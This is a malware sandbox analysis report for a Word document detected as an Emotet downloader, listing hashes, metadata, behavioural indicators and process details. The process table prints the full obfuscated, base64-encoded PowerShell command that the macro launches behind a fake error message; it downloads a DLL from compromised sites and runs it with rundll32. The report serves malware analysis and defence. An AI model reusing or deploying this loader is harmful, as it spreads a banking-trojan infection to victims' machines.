ANY.RUN Interactive Sandbox
- Full browser-level visibility into phishing
- Huge database of samples and IOCs
- Interactivity in a safe environment
- Actionable Tier 1 reports
Get full visibility into malware and phishing behavior in a safe environment.
| File name: | SecuriteInfo.com.W97M.DownLoader.5028.13042.16836 |
| Full analysis: | https://app.any.run/tasks/298c410a-330c-424c-ac69-a63fccb08023 |
| Verdict: | Malicious activity |
| Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
| Analysis date: | December 23, 2020, 17:44:49 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/msword |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Subject: scale markets Web withdrawal panel functionalities Configuration pixel granular visionary iterate Riel New Hampshire Communications, Author: Malys Vasseur, Template: Normal.dotm, Last Saved By: Tho Gauthier, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Tue Dec 22 15:41:00 2020, Last Saved Time/Date: Tue Dec 22 15:41:00 2020, Number of Pages: 1, Number of Words: 4420, Number of Characters: 25200, Security: 8 |
| MD5: | A241B4BEF3B2D8E53F2C43F48D28A8DD |
| SHA1: | 4951D94FD7788C3B34540F7928843EDC8DFDA3FF |
| SHA256: | FF573386F46EFB5822EE67D3EC8D0590404B657AF6770DA4A2CDE459E2FA34FD |
| SSDEEP: | 6144:19ufsfgIf0pLeptEZiGDDCdRGEDjpmDtdy:7ufsoIfUatEoGDDCdRGEDjpmDtdy |
MALICIOUS
EMOTET was detected
- rundll32.exe (PID: 2480)
- rundll32.exe (PID: 2720)
- rundll32.exe (PID: 2720)
Loads dropped or rewritten executable
- rundll32.exe (PID: 2720)
- SearchProtocolHost.exe (PID: 428)
- rundll32.exe (PID: 2480)
Connects to CnC server
- rundll32.exe (PID: 2720)
Changes the autorun value in the registry
- rundll32.exe (PID: 2720)
SUSPICIOUS
Executes PowerShell scripts
- cmd.exe (PID: 3004)
Executed via WMI
- cmd.exe (PID: 3004)
Reads the date of Windows installation
- powershell.exe (PID: 2796)
Checks supported languages
- powershell.exe (PID: 2796)
Drops a file with a compile date too recent
- powershell.exe (PID: 2796)
Reads the computer name
- powershell.exe (PID: 2796)
Creates files in the user directory
- powershell.exe (PID: 2796)
Executable content was dropped or overwritten
- powershell.exe (PID: 2796)
Reads Environment values
- powershell.exe (PID: 2796)
Uses RUNDLL32.EXE to load library
- powershell.exe (PID: 2796)
- rundll32.exe (PID: 2480)
Application launched itself
- rundll32.exe (PID: 2480)
INFO
Checks supported languages
- WINWORD.EXE (PID: 2472)
- cmd.exe (PID: 3004)
- msg.exe (PID: 3380)
- rundll32.exe (PID: 2480)
- rundll32.exe (PID: 2720)
Reads the computer name
- WINWORD.EXE (PID: 2472)
- msg.exe (PID: 3380)
- rundll32.exe (PID: 2480)
- rundll32.exe (PID: 2720)
Creates files in the user directory
- WINWORD.EXE (PID: 2472)
Reads settings of System Certificates
- powershell.exe (PID: 2796)
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 2472)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .doc | | | Microsoft Word document (80) |
|---|
EXIF
FlashPix
| Title: | - |
|---|---|
| Subject: | scale markets Web withdrawal panel functionalities Configuration pixel granular visionary iterate Riel New Hampshire Communications |
| Author: | Maëlys Vasseur |
| Keywords: | - |
| Comments: | - |
| Template: | Normal.dotm |
| LastModifiedBy: | Théo Gauthier |
| RevisionNumber: | 1 |
| Software: | Microsoft Office Word |
| TotalEditTime: | - |
| CreateDate: | 2020:12:22 15:41:00 |
| ModifyDate: | 2020:12:22 15:41:00 |
| Pages: | 1 |
| Words: | 4420 |
| Characters: | 25200 |
| Security: | Locked for annotations |
| CodePage: | Windows Latin 1 (Western European) |
| Company: | - |
| Lines: | 210 |
| Paragraphs: | 59 |
| CharCountWithSpaces: | 29561 |
| AppVersion: | 12 |
| ScaleCrop: | No |
| LinksUpToDate: | No |
| SharedDoc: | No |
| HyperlinksChanged: | No |
| TitleOfParts: | - |
| HeadingPairs: |
|
| CompObjUserTypeLen: | 39 |
| CompObjUserType: | Microsoft Office Word 97-2003 Document |
Total processes
43
Monitored processes
7
Malicious processes
4
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 428 | "C:\Windows\system32\SearchProtocolHost.exe" Global\UsGthrFltPipeMssGthrPipe2_ Global\UsGthrCtrlFltPipeMssGthrPipe2 1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc" "DownLevelDaemon" | C:\Windows\system32\SearchProtocolHost.exe | — | SearchIndexer.exe | |||||||||||
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Microsoft Windows Search Protocol Host Exit code: 0 Version: 7.00.7601.24542 (win7sp1_ldr_escrow.191209-2211) Modules
| |||||||||||||||
| 2472 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\SecuriteInfo.com.W97M.DownLoader.5028.13042.16836.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | Explorer.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 Modules
| |||||||||||||||
| 2480 | "C:\Windows\system32\rundll32.exe" C:\Users\admin\Y559jsv\Iewfmy3\Ppnq9j.dll #1 | C:\Windows\system32\rundll32.exe | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows host process (Rundll32) Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2720 | C:\Windows\system32\rundll32.exe "C:\Users\admin\AppData\Local\Sbss\bxric.bqp",RunDLL | C:\Windows\system32\rundll32.exe | rundll32.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows host process (Rundll32) Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2796 | POwersheLL -w hidden -ENCOD IAAgACQAYwBWAE4AZwBBAFMAPQAgAFsAVAB5AFAAZQBdACgAIgB7ADEAfQB7ADAAfQB7ADMAfQB7ADIAfQAiAC0ARgAgACcAWQBTAFQAZQBNAC4ASQAnACwAJwBTACcALAAnAFIAeQAnACwAJwBPAC4ARABpAHIARQBDAFQAbwAnACkAOwAgACAAIABzAGUAdAAtAEkAVABFAE0AIAAoACIAdgBhAHIAaQBhAEIAbABlACIAKwAiADoAbAA2AFUAIgArACIAWQBIACIAKwAiAE4AIgApACAAIAAoAFsAVABZAHAAZQBdACgAIgB7ADUAfQB7ADAAfQB7ADcAfQB7ADQAfQB7ADgAfQB7ADIAfQB7ADMAfQB7ADYAfQB7ADEAfQAiAC0ARgAgACcAWQAnACwAJwBHAGUAcgAnACwAJwBFAFAAbwBJACcALAAnAE4AdABtACcALAAnAFQARQBNAC4ATgBlAHQALgBzAGUAJwAsACcAcwAnACwAJwBBAG4AQQAnACwAJwBzACcALAAnAFIAdgBJAGMAJwApACkAOwAgACQAWABkAHoAXwB0AF8AaQA9ACgAJwBBAHUAJwArACgAJwB6ADAAegAnACsAJwBxAHgAJwApACkAOwAkAFAAaQBpADgAbwBlAG4APQAkAEIAMAB4AGsAMAA0AHIAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAFYAYQBsADYAcQBhAHgAOwAkAEwAcgBfAGwAcQBuAHcAPQAoACgAJwBQAGsAJwArACcAOQAnACkAKwAoACcAMQAnACsAJwA1AHcAJwApACsAJwBvACcAKQA7ACAAKAAgACAAaQBUAEUATQAgAHYAYQByAEkAQQBCAGwARQA6AEMAdgBuAGcAQQBTACkALgB2AEEAbABVAEUAOgA6ACIAQwBSAEUAQQBUAGUAYABkAGkAYABSAGUAQwB0AE8AUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAewAnACsAJwAwAH0AWQAnACsAJwA1ACcAKwAnADUAOQBqAHMAdgB7ADAAfQBJAGUAdwBmAG0AeQAzACcAKwAnAHsAJwArACcAMAB9ACcAKQAgACAALQBGAFsAQwBIAGEAUgBdADkAMgApACkAOwAkAE0AXwBkAG4AYgBzADQAPQAoACcAUQAnACsAKAAnAHUAJwArACcAZwBzACcAKQArACgAJwB5AG8AJwArACcAZAAnACkAKQA7ACAAIAAoAEcAZQB0AC0AaQBUAGUAbQAgACgAIgB2AGEAUgBJAGEAQgBMAGUAIgArACIAOgBsADYAdQAiACsAIgBZAEgAIgArACIAbgAiACkAKQAuAHYAYQBMAHUARQA6ADoAIgBzAEUAQwB1AFIAYABJAFQAYAB5AHAAcgBPAFQAYABvAGMATwBMACIAIAA9ACAAKAAoACcAVABsACcAKwAnAHMAJwApACsAJwAxADIAJwApADsAJABYADIAdABoAHEAbQBnAD0AKAAnAEoAJwArACgAJwB6AHoAJwArACcAegA2ACcAKwAnADIAbQAnACkAKQA7ACQAUQBvAGMAeQBfAGIAZwAgAD0AIAAoACgAJwBQAHAAJwArACcAbgBxACcAKQArACcAOQBqACcAKQA7ACQAWgB5ADcAegA3AGgAZAA9ACgAJwBGAGcAJwArACcAMAA0ACcAKwAoACcAYwBjACcAKwAnAGcAJwApACkAOwAkAEUANQBwAGEAbQA0AGUAPQAoACcAVwBpACcAKwAoACcAMAAnACsAJwA4AGoAJwApACsAJwBhAHkAJwApADsAJABUAHAAZAB1AGUAMwAyAD0AJABIAE8ATQBFACsAKAAoACgAJwBNAFIAUABZACcAKwAnADUANQAnACkAKwAoACcAOQBqACcAKwAnAHMAJwApACsAJwB2ACcAKwAnAE0AJwArACgAJwBSACcAKwAnAFAASQAnACkAKwAnAGUAJwArACgAJwB3AGYAbQAnACsAJwB5ADMAJwApACsAKAAnAE0AUgAnACsAJwBQACcAKQApAC4AIgBSAGUAYABQAEwAYQBDAEUAIgAoACgAJwBNACcAKwAnAFIAUAAnACkALAAnAFwAJwApACkAKwAkAFEAbwBjAHkAXwBiAGcAKwAoACcALgBkACcAKwAnAGwAbAAnACkAOwAkAFIANgB1AHQAdgB5AGwAPQAoACgAJwBHACcAKwAnAHAAcgAnACkAKwAoACcAcwAnACsAJwA3ADkAJwApACsAJwBqACcAKQA7ACQAWgAxAGYAbQB2AHEAaAA9AE4AYABlAGAAdwAtAE8AQgBKAGUAYABDAFQAIABOAEUAVAAuAHcARQBCAGMAbABJAGUATgB0ADsAJABOAHkANABtAG4AdgB4AD0AKAAoACcAaAAnACsAKAAoACcAdAAnACsAJwB0AHAAOgBxAHEAKQAoACcAKQApACsAKAAoACcAcwAnACsAJwAyACkAKABxAHEAJwApACkAKwAnACkAJwArACgAKAAnACgAJwArACcAcwAyACcAKQApACsAKAAoACcAKQAnACsAJwAoAG8AcAAnACkAKQArACgAJwBoACcAKwAnAGUAbABpACcAKQArACcAYQAnACsAKAAnAHMAYgAnACsAJwByAGUAJwArACcAdwBlAHIAeQAnACsAJwAuACcAKQArACcAYwAnACsAJwBvAG0AJwArACcAcQAnACsAJwBxACcAKwAoACgAJwApACgAJwArACcAcwAyACcAKQApACsAKAAoACcAKQAoAHcAJwArACcAcAAtACcAKQApACsAKAAnAGkAbgAnACsAJwBjACcAKQArACcAbAAnACsAKAAnAHUAJwArACcAZABlACcAKQArACgAKAAnAHMAcQAnACsAJwBxACkAKABzADIAKQAoAGMAaQBBACcAKwAnAGoAJwArACcAYwBnACcAKQApACsAKAAoACcAagBxAHEAKQAoAHMAMgApACgAQABoAHQAdABwACcAKwAnADoAcQAnACsAJwBxACcAKwAnACkAJwApACkAKwAoACgAJwAoAHMAJwArACcAMgApACgAcQBxACcAKwAnACkAJwArACcAKABzACcAKQApACsAJwAyACcAKwAoACgAJwApACgAJwApACkAKwAoACgAJwB0ACcAKwAnAG8AbgBnACcAKwAnAGQAYQBpAGgAYQAnACsAJwBuAG8AaQAuAGMAJwArACcAbwBtAHEAcQApACgAcwAyACcAKQApACsAKAAoACcAKQAnACsAJwAoADgANAA3ADMANAA2ADMAMgA0ACcAKwAnADIAJwArACcAMwAnACsAJwA0ADIAMwA0AHEAJwApACkAKwAoACgAJwBxACkAKABzADIAJwArACcAKQAnACsAJwAoACcAKwAnAHIAcABuAHYAWABtACcAKQApACsAJwBxACcAKwAnAHEAJwArACgAKAAnACkAJwArACcAKABzADIAJwArACcAKQAoAEAAaAB0AHQAcAAnACsAJwA6AHEAcQApACcAKwAnACgAcwAyACkAJwArACcAKABxAHEAJwApACkAKwAoACgAJwApACcAKwAnACgAcwAyACcAKQApACsAJwApACcAKwAoACgAJwAoAGMAJwApACkAKwAoACcAaABlACcAKwAnAHIAawAnACkAKwAnAGEAJwArACcAcwAnACsAKAAnAGgAYwAnACsAJwBoAGEAbgAnACkAKwAoACcAdQAnACsAJwAuAGMAJwApACsAKAAoACcAbwBtACcAKwAnAHEAcQApACgAcwAnACsAJwAyACkAKAAnACsAJwBaADoAcQBxACcAKwAnACkAJwApACkAKwAoACgAJwAoAHMAMgApACcAKwAnACgANABaAEUAOABxACcAKwAnAHEAJwArACcAKQAoACcAKQApACsAJwBzADIAJwArACcAKQAnACsAKAAoACcAKABAAGgAdAAnACsAJwB0ACcAKwAnAHAAcwA6AHEAJwArACcAcQApACcAKwAnACgAcwAyACcAKQApACsAKAAoACcAKQAoACcAKwAnAHEAcQApACgAJwApACkAKwAoACgAJwBzADIAKQAnACsAJwAoAHgAJwApACkAKwAoACcAdQBhAG4AJwArACcAdABoAGkAbgAnACkAKwAoACcAaABzACcAKwAnAGgAbwBwACcAKQArACgAJwAuACcAKwAnAGMAbwBtACcAKQArACgAKAAnAHEAcQAnACsAJwApACgAcwAnACsAJwAyACkAKAAnACkAKQArACgAJwBhAGMAJwArACcAdQByAGEALQAnACkAKwAnAG0AZAAnACsAJwB4ACcAKwAoACcALQBzAG4AYwAnACsAJwBrACcAKQArACgAKAAnADAAcQAnACsAJwBxACkAKAAnACkAKQArACgAKAAnAHMAMgApACgAMgBMACcAKwAnAFUANwAnACsAJwB3ACcAKwAnAHEAcQApACgAJwArACcAcwAyACkAKABAACcAKwAnAGgAdAAnACsAJwB0ACcAKwAnAHAAcwA6ACcAKQApACsAJwBxACcAKwAoACgAJwBxACkAKABzACcAKwAnADIAKQAoAHEAcQApACcAKwAnACgAcwAnACkAKQArACgAKAAnADIAKQAnACkAKQArACgAKAAnACgAYwAnACkAKQArACgAJwBhACcAKwAnAGwAbAB0AG8AJwApACsAJwByAGUAJwArACcAcAAnACsAKAAoACcAYQBpAHIAJwArACcALgBjACcAKwAnAG8AbQBxAHEAKQAoAHMAJwArACcAMgApACgAYQAnACkAKQArACgAKAAnAHMAcwAnACsAJwBlACcAKwAnAHQAcwBxAHEAKQAnACsAJwAoAHMAMgAnACkAKQArACgAKAAnACkAJwArACcAKAAwADkAJwApACkAKwAoACcAZQByAFoAJwArACcARgBGACcAKQArACcAcQBxACcAKwAoACgAJwApACgAcwAnACsAJwAyACcAKQApACsAKAAoACcAKQAoACcAKwAnAEAAaAAnACkAKQArACgAJwB0AHQAJwArACcAcAAnACkAKwAoACgAJwA6ACcAKwAnAHEAcQAnACsAJwApACgAcwAyACkAJwArACcAKABxAHEAKQAnACsAJwAoAHMAMgApACgAcwBlACcAKQApACsAKAAnAHIAJwArACcAdgBpAGMAaQBvACcAKwAnAHMAJwApACsAJwAuACcAKwAoACcAcwAnACsAJwBlAG0AJwApACsAKAAnAHAAZQByACcAKwAnAHQAaQAuACcAKwAnAGMAbwBtACcAKQArACgAKAAnAHEAJwArACcAcQApACcAKQApACsAKAAnACgAcwAyACcAKwAnACkAJwApACsAKAAoACcAKAB3ACcAKQApACsAKAAoACcAcAAtACcAKwAnAGEAZABtAGkAbgBxAHEAKQAnACsAJwAoAHMAMgAnACsAJwApACgAJwArACcAMgAnACkAKQArACgAKAAnAEkAJwArACcAeQAnACsAJwBaAEUANwBrAHEAcQAnACsAJwApACgAJwApACkAKwAoACgAJwBzACcAKwAnADIAKQAoAEAAJwApACkAKwAoACcAaAB0ACcAKwAnAHQAJwApACsAKAAnAHAAcwA6ACcAKwAnAHEAcQAnACkAKwAoACgAJwApACcAKwAnACgAcwAyACcAKQApACsAJwApACcAKwAoACgAJwAoAHEAJwApACkAKwAoACgAJwBxACkAKABzACcAKwAnADIAKQAnACsAJwAoAGcAaQBhACcAKQApACsAKAAnAHQAbwB0ACcAKwAnADMANgA1ACcAKQArACcALgAnACsAKAAnAGMAbwBtACcAKwAnAHEAJwApACsAKAAoACcAcQApACgAcwAyACcAKwAnACkAJwApACkAKwAoACcAKAAnACsAJwB3ACcAKwAnAHAALQBjAG8AbgB0AGUAbgAnACsAJwB0ACcAKwAnAHEAcQApACgAcwAyACkAJwApACsAKAAoACcAKAB1ACcAKwAnAHAAJwApACkAKwAnAGwAbwAnACsAJwBhACcAKwAoACgAJwBkACcAKwAnAHMAcQBxACkAKAAnACkAKQArACgAKAAnAHMAMgAnACsAJwApACgAMgAnACsAJwAwACcAKQApACsAKAAnADIAMAAnACsAJwBxAHEAJwApACsAKAAoACcAKQAoAHMAJwArACcAMgAnACkAKQArACgAKAAnACkAKABTAHgAJwArACcAcQBxACcAKwAnACkAKABzADIAKQAoACcAKQApACkAKQAuACIAUgBFAFAAbABgAEEAYABjAEUAIgAoACgAKAAoACgAJwBxAHEAJwArACcAKQAnACkAKQArACcAKAAnACsAKAAoACcAcwAyACcAKwAnACkAKAAnACkAKQApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAC8AJwApACwAKAAnAGgAdwAnACsAJwBlACcAKQApAFsAMABdACkALgAiAHMAUABMAGAAaQB0ACIAKAAkAEwAXwBoAHgAcwBpAHUAIAArACAAJABQAGkAaQA4AG8AZQBuACAAKwAgACQATwB3ADQAeABqAGgAYQApADsAJABOADgAZgBoAHQAeAA2AD0AKAAoACcATgAnACsAJwA5ADQAOQAnACkAKwAnAGwAdwAnACsAJwBuACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAUABnAHMAagBoADgAbgAgAGkAbgAgACQATgB5ADQAbQBuAHYAeAAgAHwAIABTAGAATwByAFQALQBvAGIAYABqAGUAYwBUACAAewBHAGAARQBUAC0AYABSAEEAbgBEAG8AbQB9ACkAewB0AHIAeQB7ACQAWgAxAGYAbQB2AHEAaAAuACIAZABvAFcATgBgAGwAbwBBAGQAYABGAGkATABlACIAKAAkAFAAZwBzAGoAaAA4AG4ALAAgACQAVABwAGQAdQBlADMAMgApADsAJABaADUAcgBqADQAYQB1AD0AKAAnAEgAbwAnACsAKAAnAF8AMAA2AHkAJwArACcAaQAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtACcAKwAnAEkAdAAnACsAJwBlAG0AJwApACAAJABUAHAAZAB1AGUAMwAyACkALgAiAGwAZQBuAGAAZwBgAFQASAAiACAALQBnAGUAIAAzADAANwAwADQAKQAgAHsAJgAoACcAcgB1ACcAKwAnAG4AZAAnACsAJwBsAGwAMwAyACcAKQAgACQAVABwAGQAdQBlADMAMgAsACcAIwAxACcALgAiAFQAYABPAFMAdABSAGkAYABOAGcAIgAoACkAOwAkAEgAMABfADQAYgB3ADMAPQAoACgAJwBTACcAKwAnAGQAdgBxACcAKQArACgAJwB3ACcAKwAnADYAOQAnACkAKQA7AGIAcgBlAGEAawA7ACQAVwB5AHEAMQAzAG8AcwA9ACgAJwBTADgAJwArACcAZgB5ACcAKwAoACcAOAB4ACcAKwAnADYAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFQAdQBhAHgAbwBmADkAPQAoACcAUwBlACcAKwAoACcAZAAnACsAJwA5ADAAJwApACsAJwBfAHoAJwApAA== | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3004 | cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & POwersheLL -w hidden -ENCOD IAAgACQAYwBWAE4AZwBBAFMAPQAgAFsAVAB5AFAAZQBdACgAIgB7ADEAfQB7ADAAfQB7ADMAfQB7ADIAfQAiAC0ARgAgACcAWQBTAFQAZQBNAC4ASQAnACwAJwBTACcALAAnAFIAeQAnACwAJwBPAC4ARABpAHIARQBDAFQAbwAnACkAOwAgACAAIABzAGUAdAAtAEkAVABFAE0AIAAoACIAdgBhAHIAaQBhAEIAbABlACIAKwAiADoAbAA2AFUAIgArACIAWQBIACIAKwAiAE4AIgApACAAIAAoAFsAVABZAHAAZQBdACgAIgB7ADUAfQB7ADAAfQB7ADcAfQB7ADQAfQB7ADgAfQB7ADIAfQB7ADMAfQB7ADYAfQB7ADEAfQAiAC0ARgAgACcAWQAnACwAJwBHAGUAcgAnACwAJwBFAFAAbwBJACcALAAnAE4AdABtACcALAAnAFQARQBNAC4ATgBlAHQALgBzAGUAJwAsACcAcwAnACwAJwBBAG4AQQAnACwAJwBzACcALAAnAFIAdgBJAGMAJwApACkAOwAgACQAWABkAHoAXwB0AF8AaQA9ACgAJwBBAHUAJwArACgAJwB6ADAAegAnACsAJwBxAHgAJwApACkAOwAkAFAAaQBpADgAbwBlAG4APQAkAEIAMAB4AGsAMAA0AHIAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAFYAYQBsADYAcQBhAHgAOwAkAEwAcgBfAGwAcQBuAHcAPQAoACgAJwBQAGsAJwArACcAOQAnACkAKwAoACcAMQAnACsAJwA1AHcAJwApACsAJwBvACcAKQA7ACAAKAAgACAAaQBUAEUATQAgAHYAYQByAEkAQQBCAGwARQA6AEMAdgBuAGcAQQBTACkALgB2AEEAbABVAEUAOgA6ACIAQwBSAEUAQQBUAGUAYABkAGkAYABSAGUAQwB0AE8AUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAewAnACsAJwAwAH0AWQAnACsAJwA1ACcAKwAnADUAOQBqAHMAdgB7ADAAfQBJAGUAdwBmAG0AeQAzACcAKwAnAHsAJwArACcAMAB9ACcAKQAgACAALQBGAFsAQwBIAGEAUgBdADkAMgApACkAOwAkAE0AXwBkAG4AYgBzADQAPQAoACcAUQAnACsAKAAnAHUAJwArACcAZwBzACcAKQArACgAJwB5AG8AJwArACcAZAAnACkAKQA7ACAAIAAoAEcAZQB0AC0AaQBUAGUAbQAgACgAIgB2AGEAUgBJAGEAQgBMAGUAIgArACIAOgBsADYAdQAiACsAIgBZAEgAIgArACIAbgAiACkAKQAuAHYAYQBMAHUARQA6ADoAIgBzAEUAQwB1AFIAYABJAFQAYAB5AHAAcgBPAFQAYABvAGMATwBMACIAIAA9ACAAKAAoACcAVABsACcAKwAnAHMAJwApACsAJwAxADIAJwApADsAJABYADIAdABoAHEAbQBnAD0AKAAnAEoAJwArACgAJwB6AHoAJwArACcAegA2ACcAKwAnADIAbQAnACkAKQA7ACQAUQBvAGMAeQBfAGIAZwAgAD0AIAAoACgAJwBQAHAAJwArACcAbgBxACcAKQArACcAOQBqACcAKQA7ACQAWgB5ADcAegA3AGgAZAA9ACgAJwBGAGcAJwArACcAMAA0ACcAKwAoACcAYwBjACcAKwAnAGcAJwApACkAOwAkAEUANQBwAGEAbQA0AGUAPQAoACcAVwBpACcAKwAoACcAMAAnACsAJwA4AGoAJwApACsAJwBhAHkAJwApADsAJABUAHAAZAB1AGUAMwAyAD0AJABIAE8ATQBFACsAKAAoACgAJwBNAFIAUABZACcAKwAnADUANQAnACkAKwAoACcAOQBqACcAKwAnAHMAJwApACsAJwB2ACcAKwAnAE0AJwArACgAJwBSACcAKwAnAFAASQAnACkAKwAnAGUAJwArACgAJwB3AGYAbQAnACsAJwB5ADMAJwApACsAKAAnAE0AUgAnACsAJwBQACcAKQApAC4AIgBSAGUAYABQAEwAYQBDAEUAIgAoACgAJwBNACcAKwAnAFIAUAAnACkALAAnAFwAJwApACkAKwAkAFEAbwBjAHkAXwBiAGcAKwAoACcALgBkACcAKwAnAGwAbAAnACkAOwAkAFIANgB1AHQAdgB5AGwAPQAoACgAJwBHACcAKwAnAHAAcgAnACkAKwAoACcAcwAnACsAJwA3ADkAJwApACsAJwBqACcAKQA7ACQAWgAxAGYAbQB2AHEAaAA9AE4AYABlAGAAdwAtAE8AQgBKAGUAYABDAFQAIABOAEUAVAAuAHcARQBCAGMAbABJAGUATgB0ADsAJABOAHkANABtAG4AdgB4AD0AKAAoACcAaAAnACsAKAAoACcAdAAnACsAJwB0AHAAOgBxAHEAKQAoACcAKQApACsAKAAoACcAcwAnACsAJwAyACkAKABxAHEAJwApACkAKwAnACkAJwArACgAKAAnACgAJwArACcAcwAyACcAKQApACsAKAAoACcAKQAnACsAJwAoAG8AcAAnACkAKQArACgAJwBoACcAKwAnAGUAbABpACcAKQArACcAYQAnACsAKAAnAHMAYgAnACsAJwByAGUAJwArACcAdwBlAHIAeQAnACsAJwAuACcAKQArACcAYwAnACsAJwBvAG0AJwArACcAcQAnACsAJwBxACcAKwAoACgAJwApACgAJwArACcAcwAyACcAKQApACsAKAAoACcAKQAoAHcAJwArACcAcAAtACcAKQApACsAKAAnAGkAbgAnACsAJwBjACcAKQArACcAbAAnACsAKAAnAHUAJwArACcAZABlACcAKQArACgAKAAnAHMAcQAnACsAJwBxACkAKABzADIAKQAoAGMAaQBBACcAKwAnAGoAJwArACcAYwBnACcAKQApACsAKAAoACcAagBxAHEAKQAoAHMAMgApACgAQABoAHQAdABwACcAKwAnADoAcQAnACsAJwBxACcAKwAnACkAJwApACkAKwAoACgAJwAoAHMAJwArACcAMgApACgAcQBxACcAKwAnACkAJwArACcAKABzACcAKQApACsAJwAyACcAKwAoACgAJwApACgAJwApACkAKwAoACgAJwB0ACcAKwAnAG8AbgBnACcAKwAnAGQAYQBpAGgAYQAnACsAJwBuAG8AaQAuAGMAJwArACcAbwBtAHEAcQApACgAcwAyACcAKQApACsAKAAoACcAKQAnACsAJwAoADgANAA3ADMANAA2ADMAMgA0ACcAKwAnADIAJwArACcAMwAnACsAJwA0ADIAMwA0AHEAJwApACkAKwAoACgAJwBxACkAKABzADIAJwArACcAKQAnACsAJwAoACcAKwAnAHIAcABuAHYAWABtACcAKQApACsAJwBxACcAKwAnAHEAJwArACgAKAAnACkAJwArACcAKABzADIAJwArACcAKQAoAEAAaAB0AHQAcAAnACsAJwA6AHEAcQApACcAKwAnACgAcwAyACkAJwArACcAKABxAHEAJwApACkAKwAoACgAJwApACcAKwAnACgAcwAyACcAKQApACsAJwApACcAKwAoACgAJwAoAGMAJwApACkAKwAoACcAaABlACcAKwAnAHIAawAnACkAKwAnAGEAJwArACcAcwAnACsAKAAnAGgAYwAnACsAJwBoAGEAbgAnACkAKwAoACcAdQAnACsAJwAuAGMAJwApACsAKAAoACcAbwBtACcAKwAnAHEAcQApACgAcwAnACsAJwAyACkAKAAnACsAJwBaADoAcQBxACcAKwAnACkAJwApACkAKwAoACgAJwAoAHMAMgApACcAKwAnACgANABaAEUAOABxACcAKwAnAHEAJwArACcAKQAoACcAKQApACsAJwBzADIAJwArACcAKQAnACsAKAAoACcAKABAAGgAdAAnACsAJwB0ACcAKwAnAHAAcwA6AHEAJwArACcAcQApACcAKwAnACgAcwAyACcAKQApACsAKAAoACcAKQAoACcAKwAnAHEAcQApACgAJwApACkAKwAoACgAJwBzADIAKQAnACsAJwAoAHgAJwApACkAKwAoACcAdQBhAG4AJwArACcAdABoAGkAbgAnACkAKwAoACcAaABzACcAKwAnAGgAbwBwACcAKQArACgAJwAuACcAKwAnAGMAbwBtACcAKQArACgAKAAnAHEAcQAnACsAJwApACgAcwAnACsAJwAyACkAKAAnACkAKQArACgAJwBhAGMAJwArACcAdQByAGEALQAnACkAKwAnAG0AZAAnACsAJwB4ACcAKwAoACcALQBzAG4AYwAnACsAJwBrACcAKQArACgAKAAnADAAcQAnACsAJwBxACkAKAAnACkAKQArACgAKAAnAHMAMgApACgAMgBMACcAKwAnAFUANwAnACsAJwB3ACcAKwAnAHEAcQApACgAJwArACcAcwAyACkAKABAACcAKwAnAGgAdAAnACsAJwB0ACcAKwAnAHAAcwA6ACcAKQApACsAJwBxACcAKwAoACgAJwBxACkAKABzACcAKwAnADIAKQAoAHEAcQApACcAKwAnACgAcwAnACkAKQArACgAKAAnADIAKQAnACkAKQArACgAKAAnACgAYwAnACkAKQArACgAJwBhACcAKwAnAGwAbAB0AG8AJwApACsAJwByAGUAJwArACcAcAAnACsAKAAoACcAYQBpAHIAJwArACcALgBjACcAKwAnAG8AbQBxAHEAKQAoAHMAJwArACcAMgApACgAYQAnACkAKQArACgAKAAnAHMAcwAnACsAJwBlACcAKwAnAHQAcwBxAHEAKQAnACsAJwAoAHMAMgAnACkAKQArACgAKAAnACkAJwArACcAKAAwADkAJwApACkAKwAoACcAZQByAFoAJwArACcARgBGACcAKQArACcAcQBxACcAKwAoACgAJwApACgAcwAnACsAJwAyACcAKQApACsAKAAoACcAKQAoACcAKwAnAEAAaAAnACkAKQArACgAJwB0AHQAJwArACcAcAAnACkAKwAoACgAJwA6ACcAKwAnAHEAcQAnACsAJwApACgAcwAyACkAJwArACcAKABxAHEAKQAnACsAJwAoAHMAMgApACgAcwBlACcAKQApACsAKAAnAHIAJwArACcAdgBpAGMAaQBvACcAKwAnAHMAJwApAC